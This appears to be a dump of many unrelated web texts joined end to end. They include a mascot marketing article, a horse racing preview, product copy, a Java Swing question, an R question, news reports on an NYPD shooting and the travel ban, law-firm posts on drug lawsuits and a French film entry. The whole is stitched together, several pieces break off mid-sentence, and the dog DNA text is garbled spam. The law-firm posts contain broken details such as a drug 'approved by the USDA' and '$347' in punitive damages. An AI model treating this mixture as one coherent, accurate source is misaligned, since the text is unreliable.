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Why Brand Mascots Are Stellar Storytellers for Content Marketing
Published on Jul 7, 2021
Anastasia Dyakovskaya studioID
Ever notice how many of the world's most recognizable brands have a mascot? Figures like the yellow raincoat-clad Morton Salt girl and Mr. Clean, in his pristine, white T-shirt. Or non-human varieties, like the talking M&Ms, the Aflac duck, or – another critter and one of the world's most recognizable mascots – Mickey Mouse.
The mouse who started it all, to paraphrase Walt Disney, is one of history's most lovable and hardest working mascots. Disney has long topped lists of the world's most powerful brands, and, once upon a time, not too long ago, reports showed that the friendly rodent had an astounding 98% recognition rate among children ages 3 to 11.
That's what a furry little creature can do. But you don't have to be as big as Disney to make a brand mascot work for you. And these days, with content marketing, social media, and video, companies can leverage a character more than ever before, engaging audiences, building brand loyalty, driving retention, and helping to clarify complex ideas – which is particularly useful for B2B companies.
Check out how some of today's top brands employ a cast of people, animals, and fantastical beings to help build audience awareness, distinguish themselves in their industries, and tell their brand stories in a myriad of ways across marketing channels.
While sharing original illustrations and images of your character on social and beyond is a no-brainer, having that character come to life is another story. Some of today's most recognizable companies have taken their brand mascots and given them a voice and personality, setting them up on Facebook, Twitter, and Instagram to entertain, inspire, and interact with their growing fan bases.
Travelocity's Roaming Gnome, for instance, tweets his adventures to an audience of almost 200,000. Most posts feature a snapshot of him on the go, enjoying a variety of views and destinations, along with a touch of humor and line of pixie wisdom – in first-person, of course.
Similarly, Barbie stands out on Instagram with her style-centric account, akin to the likes of a real-life fashion blogger. Her following is a staggering 2.2 million, who eat up her perfectly poised posts day after day.
Style tip: a statement-making skirt styled with sneakers will take you from day to night in a flash! ⚡ #barbie #barbiestyle
A post shared by Barbie® (@barbiestyle) on Dec 27, 2017 at 12:51pm PST
Other companies choose to employ spokespeople or hired actors to depict and develop the character of their brand mascots. Consider Flo, Progressive's funny and likable "insurance hype-woman," an addition that the insurance company introduced a decade ago. Her eager-to-please quirkiness makes her the perfect solution for humanizing a generally boring and stuffy subject (insurance), which is why she's been featured in hundreds of videos and commercials. Today, her Twitter account has over 66,000 followers and an engaged audience that shares and comments on her light-hearted posts, full of a special personality that Progressive just wouldn't have been able to cultivate otherwise.
Now I know what they mean by cuteness overload 🐶😺#Pets #MondayMotivation https://t.co/aq1RNWsLdp pic.twitter.com/Dc0ASPRpkZ
— Flo from Progressive (@ItsFlo) June 14, 2021
Keep in mind: If a mascot makes sense for you, decide: Will it be a human embodiment or some kind of character or cartoon? The possibilities are endless, but the end result has to make sense for your particular purposes – and audience – or else it risks falling flat. Start small: If your brand had a voice, what would it sound like? If it had a face, what comes to mind?
Long-Form Content
For a few creative consumer-facing companies, long-form prose has been grounds for exploration – as well as content success. A few years ago, KFC joined the ring with the release of a romance novella, penned by Colonel Sanders and put out just in time for Mother's Day, one of the company's best-selling days of the year. The free, 96-page opus, "Tender Wings of Desire," was part of a meal promotion and reviewed by more than 200 readers. Not bad, Colonel.
And still available for purchase on Amazon is the Geico Gecko's 2013 title, "You're Only Human: A Guide to Life." Years after publication, readers are remarkably still buying the book, with commenters recommending it as a gift or coffee table read. In this case, a publisher originally approached Geico's creative team at Martin Agency – writer-illustrator duo Anne Marie Hite and Adam Stockton – with the idea, and the team went from there. But inspiration can strike at any time, anywhere. Especially when you give yourself time to create and experiment.
Keep in mind: How does the gecko keep staying relevant over the years? "It's the charm," says Stockton.
"He's very likable. And [the] one way that Geico became human as a company…was ironically through a British lizard."
Likability goes a long way, and sometimes the best solution isn't the most obvious. Schedule a brainstorming session – and be sure to bring in lots of different points of view.
Back in 2011, Burger King announced plans to phase out its mascot (the Burger King), and make its food the star of its ads, instead. But ten years later, the king is still alive and well. And hip with the times. The giant-headed royal even starred in a spot aimed to raise awareness for Movember. The normally bearded mascot gets a shave in support of the movement, displaying a clever manipulation of the character as well as a creative use of real-time marketing.
Farmers Insurance also finds ways to feature its mascot, Professor Nathaniel Burke, in a range of successful video campaigns. Introduced in 2010, the character – played by actor J.K. Simmons – is a friendly and knowledgeable insurance guru under the guise of a seasoned academic. The videos are by turn informative and fun to watch, with the "Hall of Claims" and the "Unbelievable Claims" series, part of the ongoing "We Know From Experience" campaign, showing once again how many storylines become possible with a brand mascot in the mix.
Keep in mind: Figure out if a mascot makes sense for your brand, or how you might incorporate a certain character. If you'd like to explore the possibilities, as yourself, how might your brand look, humanized? Or what kind of personality might best complement your efforts? And, if you're not ready, or it's not the right fit, try the next best thing: investing in original artwork and animation.
Tags: Content Marketing, Creativity
5 Trends to Watch at the 2023 Super Bowl
Beer, betting and big brands—top trends to watch that could define Super Bowl LVII.With Super Bowl LVII just one month away, the flow of brands announcing their stakes in the Big Game is well underway. But what will define 2023's marketing faceoff is yet to be determined—perhaps it's the fast ...


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Gulfstream Park's Hutcheson Stakes
2018-03-25	| Eunice W. Hand	| Horse Racing
The first of the four stakes races on this Saturday's card at Gulfstream Park is the Grade 2 Hutcheson Stakes for three-year-olds. ; The seven furlong sprint race drew a field of six led by Kentucky Derby prospect Ever So Lucky. Ever So Lucky, currently eleventh on the BetAmerica Kentucky Derby Top 15, enters the Hutcheson off a break of just over three months after running in the Grade 2 Kentucky Jockey Club at Churchill Downs. ; In the Jockey Club, Ever So Lucky was running with the Todd Pletcher-trained Gemologist, but could not go on with his rival late. The Jockey Club was only the second race of Ever So Lucky's career, which started with flair. ; Trainer Jonathan Sheppard is not known for getting horses cranked for their debuts and is hardly known for his training of young, dirt horses, but Ever So Lucky came to the track with many making him a Kentucky Derby prospect before he ever broke from the gates. The Hutcheson marks a start for the Indian Charlie-colt on his way to the Kentucky Derby, but is not the high-figure horse in the field. Thunder Moccasin was a rare first-time-starter for Todd Pletcher as the A.P. Warrior colt was not sent off at even money or less, but was almost 7-2 even with go-to rider John Velazquez in the irons. ; Velazquez took Thunder Moccasin to the lead and never looked back, drawing off to win by two and one-half lengths. That race has turned into a key race as the second, third and fourth place finishers came back to win their next start. ; Even the fifth place horse came back to be a good third in his next race making Thunder Moccasin the biggest threat to Ever So Lucky. Two horses with stakes wins on their resume and could round out the trifecta are Wildcat Creek and Il Villano. ; Wildcat Creek was second in the Pasco at Tampa Bay Downs to Prospective, who came back to run second in the Sam F. Davis last weekend. ; Il Villano won a stakes race at Aqueduct over the main track then a stakes at Parx before finishing third in a two-turn race over the inner dirt at Aqueduct in his last. ; A return to sprinting will help the Pollard's Vision-colt. The final two horses that will break from the gate on Saturday are the uncoupled Dale Romans-pair of Tarpy's Goal and Quick Wit. ; Tarpy's Goal is coming off an allowance win at the seven furlong distance at Gulfstream Park while Quick Wit is exiting a maiden breaker at a half-furlong longer. The Hutcheson goes as race eight on the twelve-race card and is the start of the 50-cent pick-5, which includes all four stakes. ; Post time for the Hutcheson live horse racing is 3:49 ET.
Eunice W. Hand
Work Boats For Sale, 'Sail' For a Present
7 Suggestions For Enhancing Your Swim Time And Efficiency
fifteen − = nine

redpajama_set_name: RedPajamaCommonCrawl


Svenskt Tenn's trivets are available in several colourful prints and suitable for everyday use as well as for special occasions. They are sold in a set of two.
Svenskt Tenn's founder Estrid Ericson travelled a lot to different places around the world. She always looked for beautiful items and textiles that she could take home and sell in the store on Strandvägen in Stockholm. The Magnolia textile is from the English textile company GP & J Baker, whose designs were often based on traditional historical prints. Estrid Ericson began buying textiles from them as early as the 1930s.
These trivets are sold in a set of two.
Wipe the placemat with a slightly damp cloth. Never rinse the placemat under running water, as the lamination is sensitive to moisture. Avoid contact with wet surfaces on the underside as the colour from the flocked paper can rub off.


situation, to see if your policy may cover a portion (if not all) of the cost.
If your insurance provider will not be covering the cost of your hearing aids, there are other options.
health credit account that you can use at many other medical practices.
You can call 7 days a week to see if you are pre-approved!


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Only When I Dance
This feel-good documentary follows Irlan and Isabela, two teenagers from the violent favelas of Rio de Janeiro, as they pursue their dreams of becoming professional ballet dancers. This inspiring story takes us from Rio - where their communities must raise the funds to support their ambitions - to exhilarating ballet competitions in New York and Switzerland. It's a film about their determination to dance, and the price one must pay for talent, ambition and success. Official Competition - Tribeca Film Festival.
Beadie Finzi
Irlan Silva, Isabela Coracy
The Arts > Dance
Documentaries > Art & Artists
Global Studies & Languages > Latin American Studies
Never Stand Still: Dancing at Jacob's Pillow 74 mins Legendary dancers and choreographers Merce Cunningham, Paul Taylor, Suzanne Farrell, Mark Morris, Judith Jamison and Bill Irwin appear alongside new innovators to reveal the passion,…
Never Stand Still: Dancing at Jacob's Pillow
Reset - Behind the Scenes of the Paris Opera Ballet 110 mins A riveting documentary on the creative process, RESET depicts renowned choreographer and dancer Benjamin Millepied (best known for choreographing the dance sequences in Black Swan)…
Reset - Behind the Scenes of the Paris Opera Ballet
Alexander Ekman - A Swan Lake 98 mins "I wanted to do something big and wild and different. Something with water!" said choreographer Alexander Ekman and filled the Main Stage at the Oslo…
Alexander Ekman - A Swan Lake
New York Export: Opus Jazz - The Fusion of Jazz and Ballet Dance 61 mins In 1958, Jerome Robbins' "ballet in sneakers," NY Export: Opus Jazz, became a smash hit when it was broadcast on The Ed Sullivan Show and…
New York Export: Opus Jazz - The Fusion of Jazz and Ballet Dance
Dancing Dreams 90 mins Two years ago, world-famous dancer and choreographer Pina Bausch selected 40 teenagers who had never heard her name to be part of her dance piece…
Dancing Dreams
Bart Cook: Choreographer 30 mins Bart Cook became a Principal Dancer with New York City Ballet in 1979. He worked extensively with Jerome Robbins, Associate Artistic Director of NYCB and…
Bart Cook: Choreographer
Afternoon of a Faun: Tanaquil Le Clercq 97 mins Of the great ballerinas, Tanaquil Le Clercq may have been the most transcendent. She mesmerized viewers and choreographers alike - her elongated, race-horse physique became…
Afternoon of a Faun: Tanaquil Le Clercq
Etoiles: Dancers of the Paris Opera Ballet
First Run Features
Legends of Russian Ballet
Monarch Films
Bolshoi Babylon - Behind the Scandal of a Prestigious Moscow Theatre
FilmRise
Ballet - A Profile of the American Ballet Theatre
Frederick Wiseman (Zipporah)
Checkerboard Film Foundation
Horizontes - Three Generations of Cuba's National Ballet Dancers
Pragda
Ballets Russes - The Revolutionary Dance Troupe


Taming of animals started a long time back and this first animal to ever be domesticated was a dog and it was generally for security purposes. Over time, many more people started to domesticate dogs but not for security purposes only but also for companionship because a dog is known to be the most loyal being. There are a lot of individual who have pets in their homes however they don't know much about those dogs. There are various dog species on the planet and in the event that you don't know about the dog breed you have, you can have a dog DNA test which will enable you to determine the dog breed you have.
Knowing the breed of your dog is very important because it will help you in caring for it better so that it lives longer. There are in like manner some specific conditions which impact some dog breeds and by conducting a dog DNA test you will have the ability to shield your dog from getting such disorders. Generally, a dog DNA test will help you with understanding your dog better hence you can have the ability to make a stronger bond between you and your dog. With the goal for you to have a dog DNA test, you will require a dog DNA test kit which will empower you to determine the DNA of your dog at home.
There are different dog DNA test kits that are being sold in the market and this can make it difficult for you to pick which one to buy. You will along these lines need to consider a couple of fundamental components when you are picking a dog DNA test kit to buy to guarantee you get a reliable one. The fundamental basic factor that you ought to consider when you are picking a dog DNA test pack to buy is the price it is being sold at. The prices for these dogs DNA test kits will vary in this way you ought to preferably pick one that is affordable and within your budgetary arrangement. visit our website to learn more the out how to conduct the test.


I really like the Gossip Girl series. I didn't think I would, so I didn't read it for a long time until it showed up on the ALA list of most-banned books in 2006. I LOVE it. I wrote a post about it for Geek Buffet awhile back.
This is guilty, trashy reading at it's finest. You get hooked on the characters-- who cares that they're not good role models? Most of them are horrible people-- you're fascinated with them but you'd never want to be them. Kinda like Paris Hilton and Lindsey Lohan.
They're always drunk. Or stoned. When they're not air kissing each other, they're talking trash behind their best friends backs and sleeping with their boyfriends. I love it.
He had yellow hair. Not blond yellow, but yellow like a person's snot when they're seriously sick.
Serena has just gotten kicked out of boarding school and is looking forward to hanging out with her friends again, especially Blair, and returning to her snooty school, Constance Billiard. But Blair has kinda enjoyed the spotlight ever since her taller, thinner, blonder, prettier best friend has been away and doesn't want to give it up. The rumors, and the fur, fly.
Ugh. So, Blair's mother is marrying her tacky, overweight boyfriend Cyrus. On Blair's 17th birthday, which everyone seems to have forgotten it is. Jenny's hanging out with Nate in the park. Dan's obsessing over Serena who's starting to get a little weirded out. And everyone's off interviewing for colleges. The college interviews are hilarious. All of them. Hysterical.
Harriet Tubman, Secret Agent: How Daring Slaves and Free Blacks Spied for the Union During the Civil War Thomas R. Allen More about that when I finish it.
But for now, it's dinner time, and I need to call my mom, because I totally blew her off this afternoon.


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Q: A class that separatley creates a JTextField with implemented keyListener, however it remains undetected when called in this way from main function I wish to make a rough and ready load of  reusable swing classes to save a bit of coding and to recap on what I once new however I cannot understand what it is in my problem that is not working; apart from some fundamental basic understanding of course.
Now I have looked at lots of questions about focuses and implementing keylistener, I actually tried a combination of all other threads on this problem and still don't have the answer that works.
In the Easyswing class, I hoped to take advantage of java knowing which constructor to use to determine the component I got, please also suggest a better way of doing it if you know it
here is my main snippet
public class mainbox
{
    static Easyswing tix   = new Easyswing(300,500);;
    public static void main(String[] args) {

    System.out.println(tix.getText());
}

And here is the Easyswing class:
public class Easyswing
{

String text;
int locationx, locationy;
JTextArea tarea;
JTextField tfield;
JScrollPane scrollpane;
boolean istarea;

//text on startup, size in rows, size in columns, is editable, might take advantage of different constructors to give different uses to this class outputting messages
Easyswing(String t, int x, int y,int lx, int ly){

//create and initialise text areas starting text, size in number of rows and columns
tarea = new JTextArea("",x, y);

//create slight border to avoid text right on edge
tarea.setBorder(BorderFactory.createEmptyBorder(4, 4, 4, 4));

//adds the text area to the scroll pane
scrollpane = new JScrollPane(tarea);

JFrame frame1 = new JFrame(t);
frame1.setSize(x,y);
frame1.setDefaultCloseOperation(frame1.EXIT_ON_CLOSE);
frame1.add(scrollpane);
frame1.setLocation(locationx = lx, locationy = ly);
frame1.setVisible(true);

//if it is a text area then true
istarea = true;
}

//this will create a basic text input field
Easyswing(int lx, int ly){

    tfield = new JTextField();

    scrollpane = new JScrollPane(tfield);

    JFrame frame1 = new JFrame("Write");
    frame1.setSize(250,75);
    frame1.setDefaultCloseOperation(frame1.EXIT_ON_CLOSE);
    frame1.add(scrollpane);
    frame1.setLocation(locationx = lx, locationy = ly);
    frame1.requestFocus();

//HERE HERE THIS IS WHAT I DID HERE WHY DOESNT THIS WORK???
        frame1.addKeyListener(new KeyListener(){
        @Override
        public void keyPressed(KeyEvent e) {

            System.out.println("whut");
        }

        @Override
        public void keyReleased(KeyEvent e) {
            // TODO Auto-generated method stub

        }

        @Override
        public void keyTyped(KeyEvent e) {
            // TODO Auto-generated method stub

        }

    });
    frame1.setVisible(true);
    istarea = false;
}

redpajama_set_name: RedPajamaStackExchange


text:
Police work in a neighborhood in the Queens borough of New York on May 2, 2015 after an NYPD officer was shot. He was taken to Jamaica Hospital Medical Center in Queens.
Photo by Craig Ruttle/AP
NYPD officer shot in Queens: Sources
05/02/15 08:31 PM —Updated 05/03/15 10:34 AM
By Benjamin Landy
A suspected gunman who shot and critically wounded a plainclothes police officer Saturday evening in Queens was charged on Sunday with attempted murder, criminal possession of a weapon and assault, according to NYPD officials. The officer remained in critical but stable condition at Jamaica Hospital Medical Center.
Officer shot pic in Queens Village. Early view from our photographer Luis Braga #nbc4ny #NYPD
A photo posted by Brian Thompson (@brian4ny) on May 2, 2015 at 4:21pm PDT
The anti-crime officer, 25-year-old Brian Moore, had pulled up next to a "person of interest" and had begun to get out of the unmarked car when the suspect pulled a gun and shot the officer in the head, according to a high-ranking source who was briefed on the situation.
The suspect, 35-year-old Demitrius Blackwell of Queens, was apprehended after an intensive search, sources told NBC New York.
The shooting, which occurred near the intersection of 212th Street and 104th Road in the Queens Village neighborhood, was not an ambush situation, the source said. The gunman fled on foot. Police Commissioner William Bratton during a news conference said that the man was "adjusting an object in his waistband" before turning and firing several times into the unmarked car.
New York City Mayor Bill de Blasio rushed to the hospital where the officer was taken, the mayor's press office said.
The shooting comes less than six months after two New York Police Department officers, Rafael Ramos and Wenjian Liu, were shot and killed "execution style" by a gunman in the wake of grand jury's decision not to indict a police officer in the chokehold death of Eric Garner.
NBC New York's Jonathan Dienst contributed to this report.
Criminal Justice, New York, New York Police Department and Society
'MHP' Syllabus: 5.3.15
Who won in the Mayweather-Pacquiao fight


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Q: Count number of obeserved Month in R I have a data with Date as follows:
          2010-01-01
          2010-02-07
          2010-02-09
          2010-03-09
          2010-04-06
          ....
          2021-03-31
          2021-04-10

I want an output with number of observed Month based on Date as above such as: 1,2,3...100
I tried this code as.numeric(as.factor(format(flights.input$Date,"%m")))
But it stops counting at 12, and counts again from 1 while I want to count consecutively.

A: You can try:
data.table::setDT(df)[, NumberOfMonth := rleid(format(as.Date(as.character(Date)), "%m"))]

A: We. can use rle from base R to create the sequence after extracting the month from the 'Date' column
fm1 <- format(flights.input$Date, "%m")
with(rle(fm1), rep(seq_along(values), lengths))


Coronation Park was originally opened in the 1930's by Maltby Urban District Council as Muglet Lane Recreation Ground and was renamed Coronation Park in 1953 to commemorate the coronation of Queen Elizabeth II. The park covers just over 2 and a half hectares.
Coronation Park is owned and maintained by Rotherham Borough Council it has a children's play area, fitness apparatus and MUGA (multi use games area).
In 2011 RMBC were looking to close the bowling greens and tennis courts but at a Maltby Town Council meeting it was agreed that Maltby Town Council speak to RMBC with regard to taking over these facilities. The facilities became the responsibility of Maltby Town Council in October 2013.


DigiOsis is an advanced Digital Marketing Agency. They saw that there was very few Marketing Agency which actually delivers you value for money. Things like Growth Hacking and Branding is lacking for most of the agencies. They believe that they are here to fill that gap.
What Problem does DigiOsis Solve?
Thier agency helps to make your presence online. Be it a personal brand or a business, Their company will help you with everything from your site done to marketing online through ads.They provide services like Branding, Facebook Ads, SEO and Content Marketing.
Himanshu Gupta is the founder of DigiOsis and BlogRags. He's very passionate about Internet Marketing and Blogging. In his journey, he has multiple brands with their marketing strategies and has been featured on multiple blogs and ebooks. Check his blog to know more about his marketing strategies.


What Should I Do If I Lose a Loved One to a Faulty Drug or Medical Device?
The death of a loved one is never easy. What can make it worse is finding out that something that was supposed to help them ended up being the cause of death. Unfortunately, many people experience the loss of a loved one due to a faulty drug or medical device. When this happens, it can be difficult to know what to do next. You feel angry, frustrated, and helpless.
Taking legal action against the pharmaceutical company can be a good way to not only get justice for your loved one, but also help prevent future wrongful deaths. The first step in taking on a pharmaceutical company is to do a bit of research. Find out if anyone else has experienced a similar death or injury.
It's possible that there's already an ongoing mass tort against the company, in which case you could add your case. Even if it doesn't seem like there are many other reports, it's still possible to take the pharmaceutical company to court.
Also consider contacting an attorney. Attorneys who frequently deal with dangerous drugs will likely be aware of all on going cases that are similar to yours. They'll be able to guide you as to what your next steps are. At Oxner + Permar, we offer free initial consultations so we'll be happy to discuss your case and explore your options.
If you have lost a loved one to a faulty drug or medical device, don't go it alone. Reach out to an experienced attorney who isn't afraid to take on big pharmaceutical companies.
We've written before about an ongoing series of cases involving Johnson and Johnson and a mass tort involving the use of Johnson & Johnson talcum powder leading to ovarian cancer. To catch you up, despite several studies that show a link between the use of talcum powder and ovarian cancer, many companies such as Johnson & Johnson have failed to label products appropriately.
Last year after a mass tort began against Johnson & Johnson, the company was ordered to pay a settlement of $72 million. In May of this year, a second verdict was handed down for $55 million.
And then, just this summer, a third case was settled against Johnson & Johnson. A California woman was awarded $417 million dollars in her settlement. Eva Echeverria, who is now 64 years old, reported using Johnson & Johnson talcum powder as a feminine hygiene product since she was 11.
She stopped using the product in 2016 as soon as she learned about its connection to ovarian cancer, but by then it was too late. Ms. Echeverria was diagnosed with ovarian cancer in 2007. She hopes that her case will help other women learn about the dangerous connection between talcum powder and ovarian cancer. The court ordered that Johnson & Johnson pay $70 million in compensatory damages and $347 in punitive damages.
If you or a loved one has developed ovarian cancer after using Johnson & Johnson talcum powder as part of a feminine hygiene routine, be sure to contact an experienced attorney as soon as possible. Call Oxner + Permar for a free consultation.
If you have Type 2 diabetes, it's possible that your doctor may have prescribed Invokana to help manage your symptoms. However, it seems that this drug produces side effects that cause more harm than good. In many patients, Invokana causes the acid in your blood to rise, which can lead to stroke, heart attacks, or kidney damage.
If you've suffered kidney damage as a result of taking Invokana, you may have a strong case against Invokana's makers, Janssen Pharmaceuticals, a division of Johnson & Johnson. Currently there is a joint lawsuit being filed against them.
Now is a great time to take advantage of this lawsuit. Your claim could help demonstrate how negligent Janssen Pharmaceuticals has been with Invokana. It could also help set a precedent for how future cases are handled.
When pharmaceutical companies are negligent, the health and safety of their patients are at risk. It's important that they are held accountable, to incentivise them to take more care in the future; however, it's also important that you are fairly compensated for the injury done to you.
Because Invokana is still on the market, it's important to note the adverse effects of this drug. If you or anyone you know has developed ketoacidosis, don't hesitate to give us a call for a free consultation.
We've written in the past about hip replacement implant recalls and lawsuits against Johnson & Johnson. Recently one of Johnson & Johnson's subsidiary companies, DuPuy Orthopedics has been involved in a number of cases surrounding defective hip replacement implants.
These medical devices have been recalled due to the fact that they caused a number of complications in patients that received them. Patients reported symptoms such as pain, difficulty standing, limited mobility, loosening of the prosthetic joint, metal poisoning and hip replacement failure. Many of these patients required a second surgery to correct the first one.
It's not uncommon for there to be complications when it comes to risky surgeries; however, the reason DuPuy is being held responsible is partly due to the fact that they did not conduct sufficient premarket testing. As a result they are currently embroiled in a series of bellweather trials to settle the claims.
The point of a bellweather trial is to address multiple claims over the same issue. The patients who experienced negative side effects from their DuPuy hip replacement implants were able to have their case heard through this bellweather trial. That way one judge could make a decision on a large number of cases, rather than having multiple judges view each case individually. This not only helps with the speed at which these cases are settled, but also with the consistency of the outcomes of these cases.
The third DuPuy Hip Replacement Implant Trial concluded at the end of 2016. As a result, Johnson & Johnson was forced to pay $1 billion in punitive damages on top of $32 million in compensation.
If you or someone you know has been injured by a defective hip implant, don't hesitate to contact an attorney. Make sure you have someone on your side who can help you stand up to big pharmaceutical companies.
Is Permanent Hair Loss Caused By Taxotere Grounds for a Case?
For many cancer patients, hair loss is a common side effect that comes with chemotherapy. Commonly referred to as "alopecia" in the medical field, hair loss from chemotherapy is supposed to be temporary. However, recently a group of breast cancer survivors found that they were unable to regrow their hair. They were surprised by this, as they were never warned that permanent hair loss was a possible outcome.
It turns out that their permanent alopecia was caused by a chemotherapy drug called "Taxotere." Taxotere has been approved by the USDA; however, this side effect was not on record. Had the cancer patients known that this drug caused permanent hair loss, they could have chosen an alternative treatment option. One such option would have been Taxol.
It would have been one thing if the manufacturer, Sanofi-Aventis, truly didn't know that this was a possible side effect; however, evidence shows that they should have known about it as early as 2005. As many as 10-15% of patients who took Taxotere experienced permanent hair loss.
Currently, cases are being filed against Sanofi-Aventis all across the country for permanent hair loss caused by Taxotere. It's likely that soon these cases will become a part of a multidistrict litigation, which means all of the cases will be handled by one judge.
If you or a loved one has experienced permanent hair loss as a result of Taxotere, don't hesitate to contact us for a free consultation. Cases such as these are often time sensitive, so you'll want to make sure you file your claim before the statute of limitations runs out.
If you've experienced side effects from a drug that you were not warned about, then there's a good chance you have a case. Don't hesitate to contact our experienced attorneys for a free consultation.


Call an experienced San Antonio attorney immediately after an DWI arrest.
The overturning of an ALS or ALR can be an important first step in the outcome of your DWI case. The hearing for an ALS or ALR can also allow your attorney to get valuable information about your case that is difficult to get in any other manner. Do research, get the facts, and make an informed decision. A driving while intoxicated conviction can drastically alter your current standard of living. There is much that can be done to fight a driving while intoxicated. Find an experienced DWI defense lawyer who is able to aggressively fight for you. It is important to hire a lawyer experienced in defending DWI cases. A DWI conviction can lead to license suspension, a criminal record, probation, hefty fines, increased insurance costs, and jail time. If you are facing a driving while intoxicated in or around San Antonio call our office for a free consultation. Call us at 210-224-8881.


Welcome to the page with the answer to the clue Preserved, possibly.
This is just one of the 7 puzzles found on this level. You can make another search to find the answers to the other puzzles, or just go to the homepage of Mystic Words Daily puzzles and then select the date and the puzzle in which you are blocked on.
This puzzle was found on Daily pack. Click to go to the page with all the answers to Mystic words July 12 2017.


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King and the Clown Unofficial Fansite Forums :: View topic - Season Greeting 2009 !!!
Posted: Mon Dec 29, 2008 4:47 pm Post subject: Season Greeting 2009 !!!
It has been 3 years since "King and the Clown" was first released and shown in Korea on 29th Dec 2005 and 2 years since this website was set-up. A very unforgetable year, especially with the last few months, of tough times and lot of belt-tightening and even more hardship to come in the coming new year 2009.
Despite this, everyone should stay positive & tough and make the best of what life can and has to offer.
So here a first well wishes from me to everyone!!!
ALL THE BEST FOR 2009 - TAKE CARE, KEEP WELL AND HOLD YOUR DREAM CLOSE TO YOUR HEART. ALWAYS REMEMBER THAT DAWN ALWAYS FOLLOWS AFTER THE DARKEST HOUR OF NIGHT PASSES!


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text:
Samantha Boardman
Boardman, Samantha: - Samantha Boardman (Sam) was born and raised in Stockport, South of Manchester, England, UK. She is the youngest child in the family and has an older Brother and Sister. Sam left school as soon as she could and worked in Insurance for almost fourteen years. In those years in insurance, she carried out a variety of roles and even studied to be a Financial Adviser. Once she passed these exams, and was qualified to give Financial advice, she moved to Toulouse, South of France with her long-term partner at the time. Sam settled into France well and eventually worked for British Aerospace for almost 17 years. She bought land, built a house and even became fluent in French and still has French friends to this day. In 2002 Sam was offered the opportunity of a short-term secondment to Adelaide, South Australia. Never shy of a challenge, Sam jumped at the chance. The secondment was a welcome relief and was initially for two months, but the arrangement worked Read More chevron_right
Boardman, Samantha: - Samantha Boardman (Sam) was born and raised in Stockport, South of Manchester, England, UK. She is the youngest child in the family and has an older Brother and Sister. Sam left school as soon as she could and worked in Insurance for almost fourteen years. In those years in insurance, she carried out a variety of roles and even studied to be a Financial Adviser. Once she passed these exams, and was qualified to give Financial advice, she moved to Toulouse, South of France with her long-term partner at the time. Sam settled into France well and eventually worked for British Aerospace for almost 17 years. She bought land, built a house and even became fluent in French and still has French friends to this day. In 2002 Sam was offered the opportunity of a short-term secondment to Adelaide, South Australia. Never shy of a challenge, Sam jumped at the chance. The secondment was a welcome relief and was initially for two months, but the arrangement worked well and she was eventually offered full time, permanent employment in Adelaide, South Australia. Sam eventually left British Aerospace and took up other forms of work. During these twelve months, she raised a Guide Dog puppy Monty, did all sorts of Volunteer work including worked for the RFDS (Royal Flying Doctor Service), Lifeline (the Suicide Prevention Helpline) and also took the opportunity to travel and explore overseas - even heading back to Toulouse to visit long-time friends. Sam has always worked in a logistical, number crunching, fact finding environment and eventually founded Spending Made Easy in 2016. Sam loves talking, planning and problem solving, but most of all, she loves helping people. Sam has a non-judgemental, tell me anything personality and is never short of something to say. Sam has budgeted all her life and is now an expert in the field of Spending Plans. chevron_left Read Less
Most Popular books By Samantha Boardman
Everyday Vitality: Turning Stress Into Strength
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Budgeting Is Crap: It Causes Stress, Anxiety, and Sleepless Nights. Learn The Alternative Solution To Not Flushing Your Money Away
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text:
Ultime Violence ou Le Fauve à la mitraillette (La belva col mitra) est un film italien réalisé par Sergio Grieco, sorti en 1977.

Sypnosis
Nanni Vitali (Helmut Berger), un  dangereux criminel récemment emprisonné, s'évade et se venge de ses anciens complices. Le Commissaire Santini, (Richard Harrison) se lance à sa poursuite. Le dangereux criminel fait du chantage à une jeune femme, Giuliana (Marisa Mell). Après avoir séquestré la sœur et le père du commissaire, il sera capturé et arrêté.

Fiche technique
 Titre français : Ultime Violence
 Titre original : La belva col mitra
 Réalisateur : Sergio Grieco
 Année : 1977
 Durée : 142 minutes
 Genre : Film policier, Néo-polar italien
 Pays d'origine :
 Date de sortie :  ()

Distribution
 Helmut Berger : Nanni Vitali
 Richard Harrison : Comm. Giulio Santini
 Marisa Mell : Giuliana Caroli
 Marina Giordana : Carla Santini
 Luigi Bonos : Pappalardo
 Alberto Squillante : Bimbo Pacesi
 Nello Pazzafini : Pietro Caporali

À noter
 Dans Jackie Brown, Mélanie (Bridget Fonda) est en train de regarder Ultime violence à la télévision.

Liens externes

Film italien sorti en 1977
Film d'action italien
Film policier italien
Film dramatique italien
Thriller (film) italien
Poliziottesco
Film réalisé par Sergio Grieco
Film en italien

redpajama_set_name: RedPajamaWikipedia


text:
Judge's ruling gives hope to some Mideast travellers, Trump calls it ridiculous
By Issam Abdullah, Kinda Makieh and Julia Edwards Ainsley | BEIRUT/DAMASCUS/WASHINGTON
Citizens of seven mainly Muslim countries banned from the United States by President Donald Trump can resume boarding U.S.-bound flights, major airlines said on Saturday, after a Seattle judge blocked the executive order.
The ruling gave hope to some Middle East travellers but left them unclear how long the new travel window might last. Trump denounced the judge on Twitter and said the decision would be quashed.
"The opinion of this so-called judge, which essentially takes law-enforcement away from our country, is ridiculous and will be overturned!" the president said.
The travel ban, which Trump says is needed to protect the United States against Islamist militants, has sparked travel chaos around the world and condemnation by rights groups who have called it racist and discriminatory.
"Interesting that certain Middle-Eastern countries agree with the ban. They know if certain people are allowed in it's death & destruction!" Trump tweeted. "When a country is no longer able to say who can, and who cannot, come in & out, especially for reasons of safety & security - big trouble!"
In the wake of Friday's ruling, Qatar Airways was the first to say it would allow passengers from Iran, Iraq, Libya, Somalia, Sudan, Syria and Yemen to resume flying to U.S. cities if they had valid documents.
Fellow Gulf carriers Etihad and Emirates said they would do the same, as did Air France, Spain's Iberia and Germany's Lufthansa. Officials in Lebanon and Jordan said they had received no new instructions on the issue.
The White House said it planned to appeal as soon as possible.
Ibrahim Ghaith, a Syrian barber who fled Damascus in 2013, told Reuters in Jordan: "Today we heard that the measures may have been abolished but we are not sure if this is just talk. If they go back on the decision, people will be overjoyed."
Iraqi refugee Nizar al-Qassab told Reuters in Lebanon: "If it really has been frozen, I thank God, because my wife and children should have been in America by now."
The 52-year-old said his family had been due to travel to the United States for resettlement on Jan. 31. The trip was cancelled two days before that, and he was now waiting for a phone call from U.N. officials overseeing their case. "It's in God's hands," he said.
Two Sudanese travellers told Reuters they were trying to travel as soon as possible, fearing the ban might be reinstated.
"I'm in a race against time," said a 31-year-old female academic who declined to be named for fear of any consequences.
"Today I face a real problem in Khartoum because the international airlines are refusing to sell me a ticket to travel for fear of contradicting the President's decision. Now I am going from one airline company to another to convince them about the court's decision," she said.
